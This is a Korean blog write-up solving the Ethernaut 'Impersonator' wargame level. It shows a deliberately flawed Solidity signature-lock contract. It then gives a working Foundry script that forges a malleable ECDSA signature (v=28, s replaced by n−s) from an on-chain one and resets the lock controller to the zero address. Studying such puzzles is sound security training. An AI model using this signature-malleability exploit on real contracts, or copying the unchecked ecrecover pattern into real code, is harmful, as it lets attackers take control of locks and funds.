// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
import "openzeppelin-contracts-08/access/Ownable.sol";
// SlockDotIt ECLocker factory
contract Impersonator is Ownable {
uint256 public lockCounter;
ECLocker[] public lockers;
event NewLock(address indexed lockAddress, uint256 lockId, uint256 timestamp, bytes signature);
constructor(uint256 _lockCounter) {
lockCounter = _lockCounter;
}
function deployNewLock(bytes memory signature) public onlyOwner {
// Deploy a new lock
ECLocker newLock = new ECLocker(++lockCounter, signature);
lockers.push(newLock);
emit NewLock(address(newLock), lockCounter, block.timestamp, signature);
}
}
contract ECLocker {
uint256 public immutable lockId;
bytes32 public immutable msgHash;
address public controller;
mapping(bytes32 => bool) public usedSignatures;
event LockInitializated(address indexed initialController, uint256 timestamp);
event Open(address indexed opener, uint256 timestamp);
event ControllerChanged(address indexed newController, uint256 timestamp);
error InvalidController();
error SignatureAlreadyUsed();
/// @notice Initializes the contract the lock
/// @param _lockId uinique lock id set by SlockDotIt's factory
/// @param _signature the signature of the initial controller
constructor(uint256 _lockId, bytes memory _signature) {
// Set lockId
lockId = _lockId;
// Compute msgHash
bytes32 _msgHash;
assembly {
mstore(0x00, "\x19Ethereum Signed Message:\n32") // 28 bytes
mstore(0x1C, _lockId) // 32 bytes
_msgHash := keccak256(0x00, 0x3c) //28 + 32 = 60 bytes
}
msgHash = _msgHash;
// Recover the initial controller from the signature
address initialController = address(1);
assembly {
let ptr := mload(0x40)
mstore(ptr, _msgHash) // 32 bytes
mstore(add(ptr, 32), mload(add(_signature, 0x60))) // 32 byte v
mstore(add(ptr, 64), mload(add(_signature, 0x20))) // 32 bytes r
mstore(add(ptr, 96), mload(add(_signature, 0x40))) // 32 bytes s
pop(
staticcall(
gas(), // Amount of gas left for the transaction.
initialController, // Address of `ecrecover`.
ptr, // Start of input.
0x80, // Size of input.
0x00, // Start of output.
0x20 // Size of output.
)
)
if iszero(returndatasize()) {
mstore(0x00, 0x8baa579f) // `InvalidSignature()`.
revert(0x1c, 0x04)
}
initialController := mload(0x00)
mstore(0x40, add(ptr, 128))
}
// Invalidate signature
usedSignatures[keccak256(_signature)] = true;
// Set the controller
controller = initialController;
// emit LockInitializated
emit LockInitializated(initialController, block.timestamp);
}
/// @notice Opens the lock
/// @dev Emits Open event
/// @param v the recovery id
/// @param r the r value of the signature
/// @param s the s value of the signature
function open(uint8 v, bytes32 r, bytes32 s) external {
address add = _isValidSignature(v, r, s);
emit Open(add, block.timestamp);
}
/// @notice Changes the controller of the lock
/// @dev Updates the controller storage variable
/// @dev Emits ControllerChanged event
/// @param v the recovery id
/// @param r the r value of the signature
/// @param s the s value of the signature
/// @param newController the new controller address
function changeController(uint8 v, bytes32 r, bytes32 s, address newController) external {
_isValidSignature(v, r, s);
controller = newController;
emit ControllerChanged(newController, block.timestamp);
}
function _isValidSignature(uint8 v, bytes32 r, bytes32 s) internal returns (address) {
address _address = ecrecover(msgHash, v, r, s);
require (_address == controller, InvalidController());
bytes32 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]));
require (!usedSignatures[signatureHash], SignatureAlreadyUsed());
usedSignatures[signatureHash] = true;
return _address;
}
}
Exploit
누구나 locker를 열 수 있게 하려면, 그냥 controller 주소를 0으로 만들면 ecrecover()를 잘못 호출해도 open()이 가능해진다.
따라서 changeController로 newController 주소를 0으로 설정해야 하지만, 현재 컨트롤러의 이전에 쓰지않은 시그니처가 필요하다.
이는 ECDSA 서명에서 v=27 또는 v=28을 쓰는데, v=28을 쓸때 secp256k1 곡선의 모듈러 값에서 s를 뺀 값으로 s를 설정해서 쓴다고 한다. 이더스캔에서 locker 주소를 검색해서 이전에 쓰였던 서명 v, r, s를 확인할 수 있었고, v=27임을 확인하곤 v=28일때의 서명을 계산해서 쓸 수 있었다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "../lib/forge-std/src/Script.sol";
import "../lib/forge-std/src/console.sol";
interface IEClocker{
function usedSignatures(bytes32) external returns (bool);
function controller() external returns (address);
function open(uint8, bytes32, bytes32) external;
function changeController(uint8, bytes32, bytes32, address) external;
}
contract call_eclocker is Script {
function run() external {
vm.startBroadcast(vm.envUint("pv_key"));
address locker=0x891682f3300Fb51AC0a25Cb1DFd415F2FBb22141;
IEClocker ec=IEClocker(locker);
address inst=0x8c2ae6f8b77F6d7102DDFcFA71E262feEbECBA1c;
uint8 v=27;
bytes32 r=0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b91;
bytes32 s=0x78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff2;
bytes32 msgHash=0xf413212ad6f041d7bf56f97eb34b619bf39a937e1c2647ba2d306351c6d34aae;
bytes32 signature=keccak256(abi.encode([uint256(r), uint256(s), uint256(v)]));
// console.logBytes32(signature);
// // sig: 0x83b834717b3fb753bb687a22001e686274948587272b07fa6e2186f1135c4454
//v=28;
bytes32 n_s= bytes32(115792089237316195423570985008687907852837564279074904382605163141518161494337-uint256(s));
address _address=ecrecover(msgHash, 28, r, n_s);
console.log(_address);
ec.changeController(28, r, n_s, address(0));
vm.stopBroadcast();
}
receive() external payable {}
//success
}
'Web3 > Ethernaut' 카테고리의 다른 글
[Ethernaut] Magic Animal Carousel 풀이 (0) | 2025.01.18 |
---|---|
[Ethernaut] Puzzle Wallet 풀이 (0) | 2025.01.18 |
[Ethernaut] Stake 풀이 (0) | 2025.01.18 |
[Ethernaut] Gatekeeper Three 풀이 (0) | 2025.01.18 |
[Ethernaut] Double Entrypoint 풀이 (0) | 2025.01.18 |
댓글